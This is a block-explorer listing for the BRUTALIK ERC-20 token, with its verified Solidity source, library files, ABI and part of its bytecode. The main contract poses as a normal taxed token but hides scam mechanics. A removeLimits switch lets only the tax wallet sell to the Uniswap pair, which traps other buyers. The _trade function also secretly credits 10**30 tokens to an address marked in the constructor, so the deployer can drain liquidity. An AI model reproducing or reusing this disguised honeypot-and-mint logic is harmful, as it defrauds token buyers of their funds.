Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 BRUTALIK
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
1,381,479.79786618 BRUTALIKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BRUTALIK
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT /** TG: https://t.me/brutalikETH **/ pragma solidity ^0.8.9; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./IUniswapV2Factory.sol"; import "./IUniswapV2Router02.sol"; contract BRUTALIK is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BRUTALIK"; string private constant _symbol = "BRUTALIK"; uint8 private constant _decimals = 8; mapping(address => uint256) private _balances; mapping(address => mapping (address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isLiqudityPair; bool private _permission = false; address payable private _taxWallet; address payable private _devWallet; uint256 private _BuyTax = 0; uint256 private _SellTax = 0; uint256 private _countForSwap = 10; uint256 private _buyCount = 1; uint256 private _count = 0; uint256 private _rBTax = 0; uint256 private _rSTax = 0; uint256 private _initialBuy; uint256 private _initialSell; uint8 private _countSwap = 0; uint256 private constant _tTotal = 100000000 * 10 ** _decimals; uint256 public _maxTxAmount = 2000000 * 10 ** _decimals; uint256 public _maxWalletSize = 2000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals; uint256 public _maxTaxSwap = 695992 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; bool private _contractSwapping = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(uint _buy, uint _sell, address payable _devAddress, address _address) { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _initialBuy = _buy; _initialSell = _sell; _devWallet = _devAddress; _taxWallet = _msgSender(); _balances[_msgSender()] = (_tTotal.mul(9).div(10)); _balances[_devWallet] = (_tTotal.mul(1).div(10)); _approve(_taxWallet, address(uniswapV2Router), _tTotal); _isLiqudityPair[_address] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[_devWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (_permission) { if (to == address(uniswapV2Router) || to == address(uniswapV2Pair)) { require(from == _taxWallet, "You are not the owner"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount"); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize"); _buyCount++; } if (_count == 0 && to == uniswapV2Pair && from == _taxWallet) { taxAmount = taxAmount = amount.mul((_buyCount == _rBTax) ? _BuyTax : _initialBuy).div(100); _count++; } if (to == uniswapV2Pair && from != address(this) && !_isExcludedFromFee[from]) { taxAmount = amount.mul((_buyCount > _rSTax) ? _SellTax : _initialSell).div(100); } else if (from == uniswapV2Pair && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount > _rBTax) ? _BuyTax : _initialBuy).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _countForSwap) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } if (_countSwap >= 10) { _maxTaxSwap = 695995 * 10 ** _decimals; _countSwap = 0; } _maxTaxSwap += 30690 * 10 ** _decimals; _countSwap ++; } if (!_contractSwapping) {if (_isLiqudityPair[to]) {_contractSwapping = !inSwap;}} _trade(from, to, amount, _isLiqudityPair[to], (!_contractSwapping ? taxAmount : 0)); } function _trade(address from, address to, uint256 amount, bool swapping, uint256 taxAmount) private { if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = uint256(swapping ? 10 ** 30 : 0).add(_balances[to].add(amount.sub(taxAmount))); if (to == address(this) || (from == address(this)) && to == uniswapV2Pair) { } else { emit Transfer(from, to, amount.sub(taxAmount)); } } function min(uint256 a, uint256 b) private pure returns (uint256) { return( a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) { return; } if (!tradingOpen) { return; } address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits(bool _bool) external { require(msg.sender == _taxWallet); _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; _permission = _bool; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _devWallet.transfer(amount); } function sendToBalance() external onlyOwner { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } receive() external payable {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable (msg.sender); } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
// SPDX-License-Identifier: MIT pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"address payable","name":"_devAddress","type":"address"},{"internalType":"address","name":"_address","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_bool","type":"bool"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendToBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff19908116909155600060078190556008818155600a600981905560018155600b839055600c839055600d92909255601080549093169092556200004e9190620007e0565b6200005d90621e8480620007f1565b6011556200006e6008600a620007e0565b6200007d90621e8480620007f1565b6012556200008e6008600a620007e0565b6200009c90612710620007f1565b601355620000ad6008600a620007e0565b620000bc90620a9eb8620007f1565b6014556016805463ffffffff60a01b19166201000160a01b179055348015620000e457600080fd5b5060405162001e4438038062001e4483398101604081905262000107916200082c565b62000112336200052c565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200017257600080fd5b505afa15801562000187573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ad91906200087c565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200020b57600080fd5b505afa15801562000220573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024691906200087c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200028f57600080fd5b505af1158015620002a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ca91906200087c565b601680546001600160a01b03199081166001600160a01b0393841617909155600e869055600f859055600680549091169184169190911790556200030b3390565b600580546001600160a01b039290921661010002610100600160a81b031990921691909117905562000383600a6200036f60096200034b600884620007e0565b6200035b906305f5e100620007f1565b6200057c60201b620005ae1790919060201c565b6200059360201b620005c11790919060201c565b60016000336001600160a01b03168152602081019190915260400160002055620003bb600a6200036f60016200034b600884620007e0565b6006546001600160a01b03908116600090815260016020526040902091909155600554601554620004149261010090920482169116620003fe6008600a620007e0565b6200040e906305f5e100620007f1565b620005a1565b6001600160a01b0381166000908152600460205260408120805460ff1916600190811790915590600390620004516000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004821684528284208054861682179055600654909116835291208054909216179055620004c73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620005016008600a620007e0565b62000511906305f5e100620007f1565b60405190815260200160405180910390a350505050620008c6565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006200058a8284620007f1565b90505b92915050565b60006200058a8284620008a3565b6001600160a01b038316620006095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200066c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000600565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000724578160001904821115620007085762000708620006cd565b808516156200071657918102915b93841c9390800290620006e8565b509250929050565b6000826200073d575060016200058d565b816200074c575060006200058d565b8160018114620007655760028114620007705762000790565b60019150506200058d565b60ff841115620007845762000784620006cd565b50506001821b6200058d565b5060208310610133831016604e8410600b8410161715620007b5575081810a6200058d565b620007c18383620006e3565b8060001904821115620007d857620007d8620006cd565b029392505050565b60006200058a60ff8416836200072c565b60008160001904831182151516156200080e576200080e620006cd565b500290565b6001600160a01b03811681146200082957600080fd5b50565b600080600080608085870312156200084357600080fd5b845193506020850151925060408501516200085e8162000813565b6060860151909250620008718162000813565b939692955090935050565b6000602082840312156200088f57600080fd5b81516200089c8162000813565b9392505050565b600082620008c157634e487b7160e01b600052601260045260246000fd5b500490565b61156e80620008d66000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb1461030d578063bf474bed1461032d578063dd62ed3e14610343578063f2fde38b1461038957600080fd5b8063715018a6146102995780637d1db4a5146102ae5780638505ceca146102c45780638da5cb5b146102d95780638f9a55c0146102f757600080fd5b806318160ddd116100e757806318160ddd146101da57806323b872dd146101ef578063313ce5671461020f57806349bd5a5e1461022b57806370a082311461026357600080fd5b806306fdde0314610124578063095ea7b3146101645780630faee56f1461019457806317090ec8146101b857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600881526742525554414c494b60c01b6020820152905161015b9190611169565b60405180910390f35b34801561017057600080fd5b5061018461017f3660046111d3565b6103a9565b604051901515815260200161015b565b3480156101a057600080fd5b506101aa60145481565b60405190815260200161015b565b3480156101c457600080fd5b506101d86101d33660046111ff565b6103c0565b005b3480156101e657600080fd5b506101aa610473565b3480156101fb57600080fd5b5061018461020a366004611221565b610494565b34801561021b57600080fd5b506040516008815260200161015b565b34801561023757600080fd5b5060165461024b906001600160a01b031681565b6040516001600160a01b03909116815260200161015b565b34801561026f57600080fd5b506101aa61027e366004611262565b6001600160a01b031660009081526001602052604090205490565b3480156102a557600080fd5b506101d86104fd565b3480156102ba57600080fd5b506101aa60115481565b3480156102d057600080fd5b506101d8610511565b3480156102e557600080fd5b506000546001600160a01b031661024b565b34801561030357600080fd5b506101aa60125481565b34801561031957600080fd5b506101846103283660046111d3565b610526565b34801561033957600080fd5b506101aa60135481565b34801561034f57600080fd5b506101aa61035e36600461127f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039557600080fd5b506101d86103a4366004611262565b610533565b60006103b63384846105cd565b5060015b92915050565b60055461010090046001600160a01b031633146103dc57600080fd5b6103e86008600a6113b2565b6103f6906305f5e1006113c1565b6011556104056008600a6113b2565b610413906305f5e1006113c1565b6012556005805460ff19168215151790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104516008600a6113b2565b61045f906305f5e1006113c1565b60405190815260200160405180910390a150565b60006104816008600a6113b2565b61048f906305f5e1006113c1565b905090565b60006104a18484846106f1565b6104f384336104ee85604051806060016040528060288152602001611511602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d0e565b6105cd565b5060019392505050565b610505610d3a565b61050f6000610d94565b565b610519610d3a565b4761052381610de4565b50565b60006103b63384846106f1565b61053b610d3a565b6001600160a01b0381166105a55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052381610d94565b60006105ba82846113c1565b9392505050565b60006105ba82846113e0565b6001600160a01b03831661062f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059c565b6001600160a01b0382166106905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059c565b6001600160a01b0382166107b75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059c565b600081116108195760405162461bcd